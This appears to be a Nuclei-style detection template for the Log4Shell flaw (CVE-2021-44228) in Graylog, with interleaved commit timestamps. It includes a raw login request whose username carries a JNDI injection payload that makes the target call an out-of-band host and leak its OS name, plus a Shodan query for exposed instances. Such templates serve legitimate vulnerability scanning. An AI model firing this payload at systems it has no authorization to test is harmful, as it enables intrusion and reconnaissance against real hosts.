2022-08-03 13:13:22 +00:00
id : graylog-log4j
info :
2022-10-10 19:22:59 +00:00
name : Graylog - Remote Code Execution (Apache Log4j)
2022-08-03 13:13:22 +00:00
author : DhiyaneshDK
severity : critical
2022-10-10 19:22:59 +00:00
description : Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input.
2022-08-03 13:13:22 +00:00
reference :
- https://www.graylog.org/post/graylog-update-for-log4j
2022-08-10 16:39:30 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-10-10 19:22:59 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:22:59 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2022-08-03 13:13:22 +00:00
metadata :
shodan-query : title:"Graylog Web Interface"
2022-10-12 10:44:42 +00:00
verified : "true"
2022-10-12 09:29:44 +00:00
tags : cve,cve2021,rce,jndi,log4j,graylog,kev,oast
2022-08-03 13:13:22 +00:00
requests :
- raw :
- |
POST /api/system/sessions HTTP/1.1
Host : {{Hostname}}
Accept : application/json
X-Requested-With : XMLHttpRequest
X-Requested-By : XMLHttpRequest
Content-Type : application/json
Origin : {{BaseURL}}
Referer : {{BaseURL}}
{"username" : "${jndi:ldap://${sys:os.name}.{{interactsh-url}}}" , "password" : "admin" , "host" : "{{Hostname}}" }
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
2022-10-19 21:29:52 +00:00
- type : word
part : header
words :
- 'X-Graylog-Node-Id:'
2022-08-03 13:13:22 +00:00
extractors :
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
- type : regex
part : interactsh_request
group : 1
regex :
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output